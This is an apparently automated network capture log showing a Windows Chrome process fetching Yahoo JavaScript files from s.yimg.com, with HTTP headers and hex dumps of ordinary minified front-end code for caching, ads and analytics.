20 43 65 7d 29 2c 6e 2e 64 28 79 2c 22 72 65 6d 6f 76 65 43 6f 6f 6b 69 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 Data Ascii: rameterValueByName",function(){return _e}),n.d(y,"setTransition",function(){return Ee}),n.d(y,"removeTransition",function(){return Te}),n.d(y,"urlify",function(){return ke}),n.d(y,"fetchWithCache",function(){return Ce}),n.d(y,"removeCookie",function(){ret
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 7d 28 29 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 65 29 3b 76 61 72 20 6e 3d 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 6d 6f 7a 43 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 6b 69 74 43 6f 6e 6e 65 63 74 69 6f 6e 3b 69 66 28 6e 29 7b 76 61 72 20 72 3d 6e 2e 65 66 66 65 63 74 69 76 65 54 79 70 65 3b 69 66 28 22 73 6c 6f 77 2d 32 67 22 3d 3d 3d 72 7c 7c 22 32 67 22 3d 3d 3d 72 29 72 65 74 75 72 6e 20 65 3d 21 30 2c 74 28 21 30 29 2c 21 30 7d 69 66 28 Data Ascii: prototype}(),E=function(){var e=void 0;return new Promise(function(t){if(void 0!==e)return t(e);var n=navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection;if(n){var r=n.effectiveType;if("slow-2g"===r\|\|"2g"===r)return e=!0,t(!0),!0}if(
2024-04-27 22:41:49 UTC	1011	IN	Data Raw: 75 72 6e 20 65 7d 2c 41 3d 5b 22 72 69 64 22 2c 22 63 72 75 6d 62 22 2c 22 73 75 62 73 63 72 75 6d 62 22 5d 2c 78 3d 7b 6f 6d 69 74 3a 31 2c 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 3a 31 2c 69 6e 63 6c 75 64 65 3a 31 7d 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 22 22 2c 74 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 74 2b 22 3d 5b 5e 26 23 5d 2a 28 23 2e 2a 29 3f 24 22 29 2c 22 24 31 22 29 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 22 28 5b 3f 26 5d 29 22 2b Data Ascii: urn e},A=["rid","crumb","subscrumb"],x={omit:1,"same-origin":1,include:1},L=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments[1];return e.replace(new RegExp("[?&]"+t+"=[^&#](#.)?$"),"$1").replace(new RegExp("([?&])"+
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 69 67 69 6e 22 29 3b 76 61 72 20 6d 3d 69 2c 70 3d 21 31 2c 5f 3d 76 6f 69 64 20 30 2c 54 3d 76 6f 69 64 20 30 2c 43 3d 21 31 3b 69 66 28 6e 29 74 72 79 7b 6e 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 4a 53 4f 4e 2e 70 61 72 73 65 28 6e 29 29 2c 79 3d 22 47 45 54 22 3d 3d 3d 79 3f 22 50 4f 53 54 22 3a 79 2c 6d 3d 21 31 7d 63 61 74 63 68 28 65 29 7b 6e 3d 7b 7d 7d 76 61 72 20 53 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 69 66 28 70 3d 21 30 2c 5f 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 5f 2c 7b 5f 66 65 74 63 68 4d 65 74 61 3a 7b 64 75 72 61 74 69 6f 6e 3a 65 2d 61 2c 73 6f 75 72 63 65 3a 22 43 41 43 48 45 5f 49 53 5f Data Ascii: igin");var m=i,p=!1,_=void 0,T=void 0,C=!1;if(n)try{n=JSON.stringify(JSON.parse(n)),y="GET"===y?"POST":y,m=!1}catch(e){n={}}var S=setTimeout(function(){var e=Date.now();if(p=!0,_)return void t(Object.assign({},_,{_fetchMeta:{duration:e-a,source:"CACHE_IS_
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6e 74 22 2c 62 29 3b 76 61 72 20 50 3d 7b 63 72 65 64 65 6e 74 69 61 6c 73 3a 76 2c 68 65 61 64 65 72 73 3a 65 2c 6d 65 74 68 6f 64 3a 79 7d 3b 77 26 26 28 50 2e 6d 6f 64 65 3d 77 29 2c 6e 26 26 28 50 2e 62 6f 64 79 3d 6e 29 2c 68 26 26 28 50 2e 69 6d 70 6f 72 74 61 6e 63 65 3d 68 29 2c 66 65 74 63 68 28 66 2c 50 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 53 29 2c 21 70 29 7b 76 61 72 20 6e 3d 65 2e 73 74 61 74 75 73 3b 69 66 28 6e 3e 3d 32 30 30 26 26 6e 3c 3d 32 39 39 26 26 28 22 50 55 54 22 3d 3d 3d 79 7c 7c 22 44 45 4c 45 54 45 22 3d 3d 3d 79 29 29 7b 76 61 72 20 72 3d 7b 64 75 72 61 74 69 6f 6e 3a 44 61 74 65 2e 6e 6f 77 28 29 2d 61 2c 73 6f 75 72 63 65 3a 22 4e 45 54 57 4f 52 4b 5f 57 49 Data Ascii: nt",b);var P={credentials:v,headers:e,method:y};w&&(P.mode=w),n&&(P.body=n),h&&(P.importance=h),fetch(f,P).then(function(e){if(clearTimeout(S),!p){var n=e.status;if(n>=200&&n<=299&&("PUT"===y\|\|"DELETE"===y)){var r={duration:Date.now()-a,source:"NETWORK_WI
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 61 74 65 2e 6e 6f 77 28 29 2d 61 2c 73 6f 75 72 63 65 3a 22 43 41 43 48 45 5f 49 53 5f 53 54 41 4c 45 22 7d 7d 29 29 3b 65 6c 73 65 20 69 66 28 6d 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 64 62 29 72 65 74 75 72 6e 20 76 6f 69 64 20 72 28 65 29 3b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 64 62 2e 67 65 74 28 6f 2c 22 66 65 74 63 68 22 2c 7b 74 69 6d 65 6f 75 74 3a 45 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 72 28 65 29 3b 76 61 72 20 69 3d 6e 2e 74 74 6c 2c 6f 3d 6e 2e 76 61 6c 75 65 2c 73 3d 6e 2e 63 61 63 68 65 64 54 69 6d 65 2c 63 3d 28 44 61 74 65 2e 6e 6f 77 28 29 2d 73 29 2f 31 65 33 3b 74 72 79 7b 5f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 7d 63 61 74 63 68 28 Data Ascii: ate.now()-a,source:"CACHE_IS_STALE"}}));else if(m){if(!window.wafer.db)return void r(e);window.wafer.db.get(o,"fetch",{timeout:E}).then(function(n){if(!n)return void r(e);var i=n.ttl,o=n.value,s=n.cachedTime,c=(Date.now()-s)/1e3;try{_=JSON.parse(o)}catch(
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6e 65 6e 74 28 6f 5b 31 5d 29 2c 69 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 2e 73 75 62 73 74 72 69 6e 67 28 72 2e 6c 65 6e 67 74 68 2b 31 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 72 3d 3d 3d 65 26 26 28 74 3d 69 2e 74 72 69 6d 28 29 2c 21 30 29 7d 29 2c 74 7d 2c 7a 3d 74 68 69 73 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6e 65 77 20 4d 61 70 3b 72 65 74 75 72 6e 7b 73 65 74 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 72 65 74 75 72 6e 20 74 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 74 6f Data Ascii: nent(o[1]),i=decodeURIComponent(n.substring(r.length+1))}catch(e){}return r===e&&(t=i.trim(),!0)}),t},z=this,B=function(){var e=new Map;return{setTimeout:function(e){function t(t,n,r){return e.apply(this,arguments)}return t.toString=function(){return e.to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49809	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	546	OUT	GET /cx/hp-viewer/desktop_1.11.171.modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	751	IN	HTTP/1.1 200 OK x-amz-id-2: vqO13JEnT0pUxQyctp8HqmxdhpkS8t3X5dbfmHUVm2aUjn+k8ZbVjweo3UAgbvh5SfL8phizWk8= x-amz-request-id: DYP9EMRHN7EKXCS2 Date: Sat, 27 Apr 2024 22:41:50 GMT Last-Modified: Fri, 05 Apr 2024 14:26:05 GMT ETag: "6ff52718b218ff89ffedff41cc4107b8" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 62706 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 5b 22 66 69 6e 61 6e 63 65 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 6e 65 77 73 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 73 70 6f 72 74 73 2e 79 61 68 6f 6f 2e 63 6f 6d 22 5d 2c 74 3d 6e 65 77 20 52 65 67 45 78 70 28 2f 72 73 3d 22 28 5b 5e 22 5d 2a 29 22 2f 29 2c 69 3d 7b 6c 6d 73 69 64 3a 22 6c 6d 73 69 64 22 2c 6c 70 73 74 61 69 64 3a 22 6c 70 73 74 61 69 64 22 2c 6c 75 3a 22 6c 75 22 2c 70 63 74 3a 22 70 61 67 65 43 6f 6e 74 65 6e 74 54 79 70 65 22 2c 70 64 3a 22 70 61 67 65 44 65 73 69 67 6e 22 2c 70 6c 3a 22 70 6c 22 2c 70 74 3a 22 70 61 67 65 54 79 70 65 22 2c 72 65 76 73 70 3a 22 72 65 76 73 70 22 2c 76 65 72 3a 22 61 70 70 4e 61 6d 65 22 7d 2c 73 3d 5b Data Ascii: !function(){"use strict";const e=["finance.yahoo.com","news.yahoo.com","sports.yahoo.com"],t=new RegExp(/rs="([^"]*)"/),i={lmsid:"lmsid",lpstaid:"lpstaid",lu:"lu",pct:"pageContentType",pd:"pageDesign",pl:"pl",pt:"pageType",revsp:"revsp",ver:"appName"},s=[
2024-04-27 22:41:49 UTC	991	IN	Data Raw: 73 2d 63 6f 6d 70 6c 65 74 65 22 29 3b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 69 29 2e 66 69 6e 64 49 6e 64 65 78 28 28 74 3d 3e 74 3d 3d 3d 65 29 29 2b 31 7d 2c 6d 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 76 7a 6d 3f 2e 67 65 74 50 61 67 65 43 6f 6e 74 65 78 74 3f 2e 28 29 7c 7c 77 69 6e 64 6f 77 2e 59 41 48 4f 4f 3f 2e 63 6f 6e 74 65 78 74 2c 66 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6d 28 29 3b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 65 3f 2e 62 75 63 6b 65 74 7c 7c 65 3f 2e 62 75 63 6b 65 74 49 64 7c 7c 22 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 63 6f 6e 73 74 20 74 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 20 69 20 69 6e 20 65 29 69 66 28 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 29 7b 63 6f 6e 73 74 20 73 3d Data Ascii: s-complete");return Array.from(i).findIndex((t=>t===e))+1},m=()=>window.vzm?.getPageContext?.()\|\|window.YAHOO?.context,f=()=>{const e=m();return String(e?.bucket\|\|e?.bucketId\|\|"")};function g(e){const t=[];for(const i in e)if(e.hasOwnProperty(i)){const s=
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 6c 6f 63 61 74 69 6f 6e 3b 72 65 74 75 72 6e 22 6c 6f 63 61 6c 68 6f 73 74 22 21 3d 3d 65 26 26 22 34 34 34 33 22 21 3d 3d 74 26 26 22 68 74 74 70 3a 22 21 3d 3d 69 7d 2c 53 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 6d 28 29 2c 69 3d 66 28 29 3b 72 65 74 75 72 6e 7b 70 67 3a 7b 64 65 76 69 63 65 3a 74 2e 64 65 76 69 63 65 7c 7c 22 22 2c 69 6e 74 6c 3a 74 2e 69 6e 74 6c 7c 7c 22 22 2c 70 72 6f 70 65 72 74 79 3a 65 2c 72 69 64 3a 74 2e 72 69 64 2c 74 65 73 74 3a 69 7d 7d 7d 2c 49 3d 65 3d 3e 28 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 66 65 61 74 75 72 65 73 2e 69 73 50 57 41 26 26 28 65 3d 28 28 65 2c 74 2c 69 29 3d 3e 7b 63 6f 6e 73 74 20 73 3d 6e 65 77 20 55 52 4c 28 65 29 3b 72 65 74 75 72 6e 20 73 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 74 2c Data Ascii: location;return"localhost"!==e&&"4443"!==t&&"http:"!==i},S=e=>{const t=m(),i=f();return{pg:{device:t.device\|\|"",intl:t.intl\|\|"",property:e,rid:t.rid,test:i}}},I=e=>(window.wafer.features.isPWA&&(e=((e,t,i)=>{const s=new URL(e);return s.searchParams.set(t,
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 74 44 69 64 43 68 61 6e 67 65 3a 4d 2c 6f 6e 56 69 65 77 65 72 57 69 6c 6c 4f 70 65 6e 3a 78 2c 6f 6e 56 69 65 77 65 72 4f 70 65 6e 65 64 3a 52 2c 6f 6e 56 69 65 77 65 72 43 6c 6f 73 65 64 3a 54 2c 6f 6e 56 69 65 77 65 72 44 69 64 43 6c 6f 73 65 3a 42 7d 3b 63 6f 6e 73 74 20 55 3d 22 41 55 54 4f 22 2c 46 3d 5b 22 49 4e 41 52 54 49 43 4c 45 22 2c 22 49 4e 41 52 54 49 43 4c 45 2d 31 22 2c 22 57 49 44 47 45 54 22 2c 22 57 49 44 47 45 54 2d 31 22 2c 22 57 49 44 47 45 54 41 22 5d 2c 24 3d 5b 22 63 61 61 73 2d 69 6d 61 67 65 2d 6c 69 67 68 74 62 6f 78 22 5d 2c 5f 3d 7b 61 74 74 3a 22 73 62 63 22 2c 66 72 6f 6e 74 69 65 72 3a 22 66 74 72 22 2c 72 6f 67 65 72 73 3a 22 72 6f 67 65 72 73 2d 61 63 73 22 7d 2c 48 3d 5b 22 57 49 44 47 45 54 41 22 5d 3b 63 6f 6e 73 74 Data Ascii: tDidChange:M,onViewerWillOpen:x,onViewerOpened:R,onViewerClosed:T,onViewerDidClose:B};const U="AUTO",F=["INARTICLE","INARTICLE-1","WIDGET","WIDGET-1","WIDGETA"],$=["caas-image-lightbox"],_={att:"sbc",frontier:"ftr",rogers:"rogers-acs"},H=["WIDGETA"];const
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 49 6e 73 74 61 6e 63 65 3f 2e 67 65 74 52 61 70 69 64 41 74 74 72 69 62 75 74 65 28 22 73 70 61 63 65 69 64 22 29 2c 74 68 69 73 2e 6d 61 69 6e 41 72 74 69 63 6c 65 52 61 70 69 64 43 6f 6e 66 69 67 3d 69 2c 74 68 69 73 2e 63 6c 75 73 74 65 72 41 72 74 69 63 6c 65 52 61 70 69 64 43 6f 6e 66 69 67 3d 73 7d 6f 6e 56 69 65 77 65 72 57 69 6c 6c 4f 70 65 6e 28 29 7b 74 68 69 73 2e 68 6f 6d 65 55 72 6c 3d 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 74 68 69 73 2e 76 69 65 77 65 64 41 72 74 69 63 6c 65 73 2e 63 6c 65 61 72 28 29 7d 6f 6e 43 6c 69 63 6b 28 65 29 7b 22 73 6c 69 64 65 73 68 6f 77 22 3d 3d 3d 65 2e 74 79 70 65 3f 74 68 69 73 2e 6f 6e 53 6c 69 64 65 73 68 6f 77 43 6c 69 63 6b 28 65 29 3a 22 6c 69 6e 6b 22 21 3d 3d 65 2e 74 79 70 65 26 26 22 63 6f 6d 6d Data Ascii: Instance?.getRapidAttribute("spaceid"),this.mainArticleRapidConfig=i,this.clusterArticleRapidConfig=s}onViewerWillOpen(){this.homeUrl=location.href,this.viewedArticles.clear()}onClick(e){"slideshow"===e.type?this.onSlideshowClick(e):"link"!==e.type&&"comm
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 69 73 2e 72 65 66 65 72 65 72 55 72 6c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 74 68 69 73 2e 76 69 65 77 65 64 41 72 74 69 63 6c 65 73 2e 61 64 64 28 65 2e 65 6c 65 6d 2e 69 64 29 7d 75 70 64 61 74 65 52 61 70 69 64 41 74 74 72 69 62 75 74 65 73 28 65 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 7b 65 6c 65 6d 3a 74 2c 6d 65 74 61 3a 7b 64 61 74 61 3a 69 7d 7d 3d 65 2c 7b 61 64 4d 65 74 61 3a 73 2c 63 61 6e 6f 6e 69 63 61 6c 55 72 6c 3a 6e 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 6f 2c 68 61 73 53 63 72 69 62 62 6c 65 3a 61 3d 21 31 2c 68 61 73 59 61 68 6f 6f 56 69 64 65 6f 3a 72 2c 68 69 64 65 41 6c 6c 41 64 73 3a 63 3d 21 31 2c 68 6f 6d 65 70 61 67 65 55 Data Ascii: is.refererUrl=window.location.href),this.viewedArticles.add(e.elem.id)}updateRapidAttributes(e){if(!window.rapidInstance)return;const{elem:t,meta:{data:i}}=e,{adMeta:s,canonicalUrl:n,contentType:o,hasScribble:a=!1,hasYahooVideo:r,hideAllAds:c=!1,homepageU
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 63 65 2e 62 65 61 63 6f 6e 50 61 67 65 76 69 65 77 28 29 2c 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 69 73 4d 6f 64 75 6c 65 54 72 61 63 6b 65 64 28 74 29 3f 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 72 65 66 72 65 73 68 4d 6f 64 75 6c 65 28 74 2c 21 31 2c 21 30 29 3a 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 61 64 64 4d 6f 64 75 6c 65 73 28 74 2c 21 31 2c 7b 73 65 74 56 69 65 77 61 62 69 6c 69 74 79 3a 21 30 7d 29 2c 74 68 69 73 2e 76 69 65 77 65 64 41 72 74 69 63 6c 65 73 2e 68 61 73 28 74 29 7c 7c 28 77 69 6e 64 6f 77 2e 72 61 70 69 64 49 6e 73 74 61 6e 63 65 2e 61 64 64 4d 6f 64 75 6c 65 50 72 6f 67 72 65 73 73 69 6f 6e 3f 2e 28 74 29 2c 74 68 69 73 2e 6d 6f 64 75 6c 65 50 72 6f 67 72 65 Data Ascii: ce.beaconPageview(),window.rapidInstance.isModuleTracked(t)?window.rapidInstance.refreshModule(t,!1,!0):window.rapidInstance.addModules(t,!1,{setViewability:!0}),this.viewedArticles.has(t)\|\|(window.rapidInstance.addModuleProgression?.(t),this.moduleProgre
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 7d 69 6e 69 74 28 65 29 7b 63 6f 6e 73 74 7b 61 64 73 43 6f 6e 66 69 67 3a 74 2c 62 65 6e 6a 69 3a 69 2c 77 61 66 65 72 3a 73 7d 3d 77 69 6e 64 6f 77 3b 69 66 28 65 26 26 28 74 68 69 73 2e 73 69 74 65 3d 65 2e 63 6f 6e 74 65 78 74 3f 2e 73 69 74 65 7c 7c 22 66 70 22 2c 74 68 69 73 2e 76 69 65 77 65 72 41 64 73 43 6f 6e 66 69 67 3d 65 2e 61 64 73 7c 7c 7b 7d 29 2c 74 68 69 73 2e 70 61 67 65 43 6f 6e 74 65 78 74 3d 6d 28 29 7c 7c 7b 7d 2c 74 29 74 68 69 73 2e 63 6f 6e 66 69 67 3d 74 3b 65 6c 73 65 7b 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 60 2f 24 7b 76 28 74 68 69 73 2e 73 69 74 65 29 7d 3f 65 72 72 6f 72 3d 6e 6f 5f 61 64 73 5f 63 6f 6e 66 69 67 60 7d 74 68 69 73 2e 63 61 61 73 56 69 65 77 65 72 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: }init(e){const{adsConfig:t,benji:i,wafer:s}=window;if(e&&(this.site=e.context?.site\|\|"fp",this.viewerAdsConfig=e.ads\|\|{}),this.pageContext=m()\|\|{},t)this.config=t;else{(new Image).src=`/${v(this.site)}?error=no_ads_config`}this.caasViewer=document.getElem
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 6f 67 72 65 73 73 28 29 26 26 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 65 76 65 6e 74 28 22 73 6c 69 64 65 73 68 6f 77 22 29 7d 67 65 74 41 64 42 6c 6f 63 6b 43 6f 6e 66 69 67 28 29 7b 69 66 28 21 74 68 69 73 2e 63 6f 6e 66 69 67 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 2e 63 6f 6e 66 69 67 29 29 3b 6c 65 74 20 74 3d 65 2e 76 69 65 77 65 72 50 6f 73 69 74 69 6f 6e 4d 65 74 61 2e 70 6f 73 69 74 69 6f 6e 73 3b 63 6f 6e 73 74 20 69 3d 65 2e 73 74 72 69 6e 67 73 3f 2e 61 64 76 65 72 74 69 73 65 6d 65 6e 74 7c 7c 22 41 64 76 65 72 74 69 73 65 6d 65 6e 74 22 3b 65 2e 76 69 65 77 65 72 56 69 65 77 70 6f 72 74 41 64 46 65 74 63 68 3f 2e 73 6c 6f 74 73 26 26 65 2e 76 69 Data Ascii: ogress()&&window.DARLA.event("slideshow")}getAdBlockConfig(){if(!this.config)return;const e=JSON.parse(JSON.stringify(this.config));let t=e.viewerPositionMeta.positions;const i=e.strings?.advertisement\|\|"Advertisement";e.viewerViewportAdFetch?.slots&&e.vi
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 64 28 73 29 2c 21 65 2e 76 69 65 77 65 72 50 6f 73 69 74 69 6f 6e 4d 65 74 61 3f 2e 65 6e 61 62 6c 65 55 42 41 4d 4f 4e 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 29 3b 65 2e 69 6e 6e 65 72 54 65 78 74 3d 69 2c 65 2e 73 74 79 6c 65 2e 63 6f 6c 6f 72 3d 22 23 37 38 37 64 38 32 22 2c 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 53 69 7a 65 3d 22 31 31 70 78 22 2c 65 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 3d 22 33 70 78 22 2c 65 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 22 61 75 74 6f 22 2c 65 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 52 69 67 68 74 3d 22 61 75 74 6f 22 2c 74 2e 69 64 2e 69 6e 64 Data Ascii: d(s),!e.viewerPositionMeta?.enableUBAMON){const e=document.createElement("span");e.innerText=i,e.style.color="#787d82",e.style.display="block",e.style.fontSize="11px",e.style.marginBottom="3px",e.style.marginLeft="auto",e.style.marginRight="auto",t.id.ind

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49812	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	532	OUT	GET /aaq/benji/benji-2.1.31.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:49 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: AoEmvtFDTLNF8lG++KQ6jk13msAN98oNKx+rmvUa/T4VxQ5zDOY4KQepxDt3tguQnkywuenDz/U= x-amz-request-id: VJR73JDDK3MFR6S2 Date: Sat, 27 Apr 2024 14:34:10 GMT Last-Modified: Thu, 25 Apr 2024 16:35:49 GMT ETag: "f0f6c84b6650913451b34e87c3872e06" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: MCrYs8ONaAPUwjGyQG.REtjTwc94.0TB Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 72652 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29260 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:49 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 7b 62 65 6e 6a 69 3a 7b 7d 2c 67 6f 6f 67 6c 65 74 61 67 3a 7b 63 6d 64 3a 5b 5d 7d 2c 70 62 6a 73 3a 7b 71 75 65 3a 5b 5d 7d 2c 59 41 48 4f 4f 3a 7b 7d 7d 2c 74 3d 5b 22 6c 6f 63 61 6c 68 6f 73 74 22 2c 22 61 6f 6c 2e 63 6f 6d 22 2c 22 61 6f 6c 2e 63 6f 2e 75 6b 22 2c 22 61 6f 6c 2e 64 65 22 2c 22 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 22 2c 22 63 72 69 63 6b 65 74 2e 79 61 68 6f 6f 2e 73 70 6f 72 74 7a 2e 69 6f 22 2c 22 65 6e 67 61 64 67 65 74 2e 63 6f 6d 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 2e 68 6b 22 2c 22 79 61 68 